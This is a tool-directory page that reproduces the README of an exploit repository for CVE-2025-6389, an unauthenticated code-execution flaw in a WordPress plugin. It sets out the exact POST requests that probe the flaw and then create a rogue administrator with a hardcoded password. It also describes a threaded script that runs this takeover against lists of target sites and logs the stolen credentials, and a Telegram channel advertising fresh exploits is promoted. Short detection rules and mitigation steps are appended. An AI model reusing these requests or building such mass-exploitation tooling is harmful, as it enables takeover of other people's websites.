Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-6389 — Sneeit Framework <= 8.3 - Unauthenticated Remote Code Execution in sneeit_articles_pagination_callback | Kitploit
Tools/GitHubGitHub/nxploited/cve-2025-6389
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubnxploited/cve-2025-6389

CVE-2025-6389

Sneeit Framework <= 8.3 - Unauthenticated Remote Code Execution in sneeit_articles_pagination_callback

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-6389

Sneeit Framework <= 8.3 - Unauthenticated Remote Code Execution in sneeit_articles_pagination_callback

root@kitploit:~
    _______      ________    ___   ___ ___  _____         __ ____   ___   ___  
  / ____\ \    / /  ____|  |__ \ / _ \__ \| ____|       / /|___ \ / _ \ / _ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) | |__ ______ / /_  __) | (_) | (_) |
 | |      \ \/ / |  __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
 | |____   \  /  | |____    / /_| |_| / /_ ___) |     | (_) |__) | (_) |  / / 
  \_____|   \/   |______|  |____|\___|/____|____/       \___/____/ \___/  /_/  

Telegram CVE CVSS Python License


📡 Don't miss the next drop. Follow @KNxploited on Telegram — the definitive channel for freshly disclosed CVEs, working exploits, and elite security research. First to know. First to act.


🧠 Overview

CVE-2025-6389 is a CVSS 9.8 Critical Remote Code Execution vulnerability found in the Sneeit Framework plugin for WordPress.

The flaw exists in the sneeit_articles_pagination_callback() function, which blindly passes user-supplied input into PHP's call_user_func() — an unauthenticated attacker can call any PHP function with arbitrary arguments, including wp_insert_user, effectively granting themselves full administrator access or executing any server-side code.


💀 Vulnerability Deep Dive

The root cause is misuse of PHP's call_user_func() in the plugin's AJAX handler:

root@kitploit:~
// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← User-controlled function name
    $args     = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args

    // Calling ANY PHP function with ANY arguments — zero validation
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

Why this is critical:

  • wp_ajax_nopriv_* = accessible by anyone, no login required
  • call_user_func($callback, $args) = arbitrary function invocation
  • Attacker can call var_dump, system, wp_insert_user, eval, or any PHP/WordPress function
  • The response is returned directly — enabling blind & verbose RCE

⚔️ Exploit Chain

root@kitploit:~
Step 1 — Probe / Fingerprint
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

Expected Response → array(1) { [0]=> string(4) "test" }
  ↓
Confirms: call_user_func() is reachable and reflecting output

──────────────────────────────────────────────────────────────────
Step 2 — Admin Account Creation
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

Result → New administrator account silently created on target
  ↓
Full WordPress admin panel access achieved ✔️

⚙️ Requirements

root@kitploit:~
pip install requests rich
DependencyPurpose
requestsHTTP requests with session/proxy support
richLive terminal dashboard, panels, progress

Python 3.8+ required. Type hints use tuple[...] syntax introduced in 3.9+ — use 3.9+ for best compatibility.


📂 File Structure

root@kitploit:~
CVE-2025-6389/
├── CVE-2025-6389.py          # Main exploit script
├── list.txt                  # Target URLs — one per line
├── success_results.txt       # Auto-generated: successful targets + credentials
└── debug_responses/          # Auto-generated: raw server responses for debugging
    └── <target>.resp.txt

🚀 Usage

Step 1 — Prepare Targets

Create list.txt with one URL per line:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com

URLs without http:// or https:// are automatically prefixed with http://.


Step 2 — Run the Exploit

root@kitploit:~
python CVE-2025-6389.py

You will be prompted:

root@kitploit:~
Targets file name (default list.txt): list.txt
Number of threads (default 10):       20

Step 3 — Live Dashboard

The script launches a real-time Rich dashboard showing:

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  Info                        │  Stats                               │
│  Usage: Put targets in...    │  Total Targets:  150                 │
│  Threads: 20                 │  Processed:      87                  │
│  Password: xplpass           │  Successes:      12                  │
│  Success Log: success...     │  Failures:       75                  │
│  Debug Dir: debug_responses  │  Elapsed:        00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Recent Results                                                      │
│  Time     Target                              Result                 │
│  14:23:01 https://victim.com                  SUCCESS               │
│  14:23:03 https://example.net                 FAIL                  │
└─────────────────────────────────────────────────────────────────────┘

Step 4 — Review Results

Successful exploits are saved to success_results.txt:

root@kitploit:~
https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]

Debug responses (for failed targets) are saved under debug_responses/:

root@kitploit:~
debug_responses/
└── https___victim.com.resp.txt   ← Raw server response for analysis

🖥️ Script Parameters Reference


📊 Detection Signature

The exploit generates the following network signature — useful for defenders and WAF rule authors:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>

WAF / IDS Rule (Pseudocode):

root@kitploit:~
IF request.method == POST
AND request.path  == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT

🛡️ Mitigation & Remediation

If you are a site owner, developer, or defender, take these steps immediately:

  • ✅ Update Sneeit Framework to a version above 8.3 if a patch is available
  • ✅ Deactivate and delete the plugin until a patched version is confirmed
  • ✅ Audit recently created WordPress admin accounts for unauthorized entries
  • ✅ Implement server-side input validation — never pass user input into call_user_func()
  • ✅ Block unauthenticated POST requests to admin-ajax.php at the WAF/Firewall level
  • ✅ Monitor server logs for sneeit_articles_pagination AJAX action calls
  • ✅ Enable two-factor authentication on all existing admin accounts as a containment measure

⚠️ Disclaimer

root@kitploit:~
THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.

By downloading, running, or modifying this script, you explicitly agree:

  • You have EXPLICIT, WRITTEN authorization from the owner of every
    system you test. No exceptions.

  • You are operating within a controlled lab environment or during a
    formally scoped and authorized engagement.

  • You will NOT deploy this tool against any system, network, or
    infrastructure you do not have legal permission to test.

  • Nxploited and all contributors assume ZERO liability for any
    unauthorized use, damage, data loss, legal action, or criminal
    prosecution arising from the use of this tool.

Unauthorized use of this exploit is a criminal offense under:
  — Computer Fraud and Abuse Act (CFAA), USA
  — Computer Misuse Act (CMA), UK
  — EU Directive 2013/40/EU on Attacks Against Information Systems
  — And all equivalent national and international cybercrime laws.

USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.

👤 Author

HandleNxploited (Khaled Alenazi)
Telegram@KNxploited
GitHubgithub.com/Nxploited

🔔 Follow @KNxploited on Telegram The channel where real exploits drop first — CVEs, zero-days, PoCs, and deep-dive vulnerability research. Updated regularly. Stay sharp.


Crafted with precision by Nxploited · For authorized security research only · CVSS 9.8 Critical
Download Tool
FieldDetails
CVE IDCVE-2025-6389
PluginSneeit Framework (sneeit-framework)
Affected VersionsAll versions up to and including 8.3
Vulnerability TypeRemote Code Execution (RCE)
Attack VectorNetwork — No Authentication Required
CVSS 3.1 Score9.8 CRITICAL
CVSS VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
ImpactFull server compromise / Admin takeover
ResearcherNxploited
threadingConcurrent multi-target processing
queueThread-safe target distribution
PromptDefaultDescription
Targets filelist.txtFile containing target URLs
Number of threads10 (max: 200)Concurrent workers — increase for bulk scans
Passwordxplpass (hardcoded)Password set for created admin accounts
Username formatNxploited_XXXXAuto-generated with random 4-digit suffix